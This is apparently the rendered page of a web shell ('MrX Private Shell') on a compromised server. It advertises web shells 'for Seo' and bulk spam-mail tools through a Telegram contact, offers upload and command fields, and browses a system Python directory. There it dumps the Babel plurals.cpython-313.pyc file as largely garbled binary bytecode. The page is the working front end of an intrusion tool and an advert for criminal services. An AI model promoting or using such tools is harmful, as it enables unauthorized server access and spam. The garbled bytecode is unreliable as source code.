__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

*:�gG���%SrSSKJr SSKJrJr \"S5rS\S'0SS_SS	_S
S_SS_S
S_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_0SS_SS_S S_S!S_S"S_S#S_S$S%_S&S%_S'S(_S)S_S*S_S+S_S,S_S-S_S.S_S/S_S0S1_E0S2S_S3S_S4S_S5S_S6S_S7S_S8S_S9S_S:S;_S<S=_S>S?_S@S_SAS_SBS_SCS_SDS_SESF_E0SGS_SHS%_SISJ_SKS_SLS_SMSN_SOS_SPS_SQS_SRS_SSS_STS_SUS_SVS_SWS_SXS_ErSY\SZ'Sr	S[\S\'"S]S^\
5rSaSbS`jjrg_)cz�
babel.messages.plurals
~~~~~~~~~~~~~~~~~~~~~~

Plural form definitions.

:copyright: (c) 2013-2025 by the Babel Team.
:license: BSD, see LICENSE for more details.
�)�annotations)�Locale�default_locale�LC_CTYPEz
str | None�af)�z(n != 1)�ar)�z[(n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=0 && n%100<=2 ? 4 : 5)�be)�zR(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2)�bg�bn�bo)��0�br)r
a&(n==1 ? 0 : n%10==1 && n%100!=11 && n%100!=71 && n%100!=91 ? 1 : n%10==2 && n%100!=12 && n%100!=72 && n%100!=92 ? 2 : (n%10==3 || n%10==4 || n%10==9) && n%100!=13 && n%100!=14 && n%100!=19 && n%100!=73 && n%100!=74 && n%100!=79 && n%100!=93 && n%100!=94 && n%100!=99 ? 3 : n%1000000==0 ? 4 : 5)�bs�ca�cs)rz%((n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2)�cv�cy)�z/(n==1 ? 1 : n==2 ? 2 : n==3 ? 3 : n==6 ? 4 : 0)�da�de�dz�el�en�eo�es�et�eu�fa�fi�fr)rz(n > 1)�fur�ga)rz@(n==1 ? 0 : n==2 ? 1 : n>=3 && n<=6 ? 2 : n>=7 && n<=10 ? 3 : 4)�gl�ha�he�hi�hr�hu�hy�is)rz(n%10==1 && n%100!=11 ? 0 : 1)�it�ja�ka�kg�km�ko�ku�lo�lt)rzG(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n%100<10 || n%100>=20) ? 1 : 2)�lv)rz+(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2)�mt)�zS(n==1 ? 0 : n==0 || ( n%100>=1 && n%100<=10) ? 1 : (n%100>10 && n%100<20 ) ? 2 : 3)�nb�nl�nn�no�pa�pl)rzB(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2)�pt�pt_BR�ro)rz8(n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < 20)) ? 1 : 2)�ru�sk�sl)r:z<(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || n%100==4 ? 2 : 3)�sr�st�sv�th�tr�uk�ve�vi�xh�zhzdict[str, tuple[int, str]]�PLURALSztuple[int, str]�DEFAULT_PLURALc�b�\rSrSrSrSr\S	Sj5r\S
Sj5r\S
Sj5r	S
Sjr
Srg)�_PluralTuple��z A tuple with plural information.�c��US$)z)The number of plurals used by the locale.rrV��selfs �8/usr/lib/python3/dist-packages/babel/messages/plurals.py�num_plurals�_PluralTuple.num_plurals��
���A�w��c��US$)z)The plural expression used by the locale.rrVrXs rZ�plural_expr�_PluralTuple.plural_expr�r]r^c� �SUSSUSS3$)z4The plural expression used by the catalog or locale.z	nplurals=rz	; plural=r�;rVrXs rZ�plural_forms�_PluralTuple.plural_forms�s!���4��7�)�9�T�!�W�I�Q�7�7r^c��UR$�N)rdrXs rZ�__str__�_PluralTuple.__str__�s��� � � r^N)�return�int)rj�str)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__�propertyr[r`rdrh�__static_attributes__rVr^rZrTrT�sI��*��I�
���������8��8�!r^rTNc��[R"U=(d [5n[[	U5n[U5$![
a. [URnN+![
a
 [nN>f=ff=f)a�A tuple with the information catalogs need to perform proper
pluralization.  The first item of the tuple is the number of plural
forms, the second the plural expression.

:param locale: the `Locale` object or locale identifier. Defaults to the system character type locale.

>>> get_plural(locale='en')
(2, '(n != 1)')
>>> get_plural(locale='ga')
(5, '(n==1 ? 0 : n==2 ? 1 : n>=3 && n<=6 ? 2 : n>=7 && n<=10 ? 3 : 4)')

The object returned is a special tuple with additional members:

>>> tup = get_plural("ja")
>>> tup.num_plurals
1
>>> tup.plural_expr
'0'
>>> tup.plural_forms
'nplurals=1; plural=0;'

Converting the tuple into a string prints the plural forms for a
gettext catalog:

>>> str(tup)
'nplurals=1; plural=0;'
)	r�parserrQrl�KeyError�languagerRrT)�locale�tups  rZ�
get_pluralr{�so��8�\�\�&�,�H�
-�F�!��c�&�k�"��������!�	!��&�/�/�*�C���	!� �C�	!��!�s)�A�
A:�
A"�"A6�2A:�5A6�6A:rg)ryzLocale | str | NonerjrT)
rq�
__future__r�
babel.corerrr�__annotations__rQrR�tuplerTr{rVr^rZ�<module>r�sL���#�-�
&�j�1��*�1�t'�	�/�t'� 	�
l�!t'�8	�
c�9t'�<	�/�=t'�L	�/�Mt'�P	�(�Qt'�T	��Ut'�b	�
c�ct'�f	�/�gt'�z	�
6�{t'�B	�(�Ct'�F	�
@�Gt'�J	�/�Kt'�N	�/�Ot'�V	�(�Wt'�Z	�/�[t'�^	�/�_t'�b	�/�ct'�f	�/�gt'�j	�/�kt'�n	�/�ot'�r	�(�st'�v	�/�wt'�z	�.�{t'�~
�>�t'�B	�
Q�Ct'�F	�/�Gt'�J	�/�Kt'�N	�/�Ot'�R	�/�St'�V	�
c�Wt'�Z	�(�[t'�^	�(�_t'�b	�
/�ct'�f	�/�gt'�j	�(�kt'�n	�(�ot'�r	�/�st'�v	�(�wt'�z	�(�{t'�~	�/�t'�B	�(�Ct'�F	�
X�Gt'�J	�
<�Kt'�N	�
d�Ot'�R	�/�St'�V	�/�Wt'�Z	�/�[t'�^	�/�_t'�b	�/�ct'�f	�
S�gt'�j	�/�kt'�n�^�ot'�r	�
I�st'�v	�
c�wt'�z	�
6�{t'�~	�
M�t'�B	�
c�Ct'�F	�/�Gt'�J	�/�Kt'�N	�(�Ot'�R	�(�St'�V	�
c�Wt'�Z	�/�[t'�^	�(�_t'�b	�/�ct'�f	�(�gt'��	#�t�n#2���1�!�5�!�0$r^

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 472 B 0644
_compat.cpython-313.pyc File 1.42 KB 0644
catalog.cpython-313.pyc File 43.18 KB 0644
checkers.cpython-313.pyc File 6.54 KB 0644
extract.cpython-313.pyc File 32.85 KB 0644
frontend.cpython-313.pyc File 52.74 KB 0644
jslexer.cpython-313.pyc File 7.69 KB 0644
mofile.cpython-313.pyc File 7.77 KB 0644
plurals.cpython-313.pyc File 6.01 KB 0644
pofile.cpython-313.pyc File 32.1 KB 0644
setuptools_frontend.cpython-313.pyc File 4.07 KB 0644
Filemanager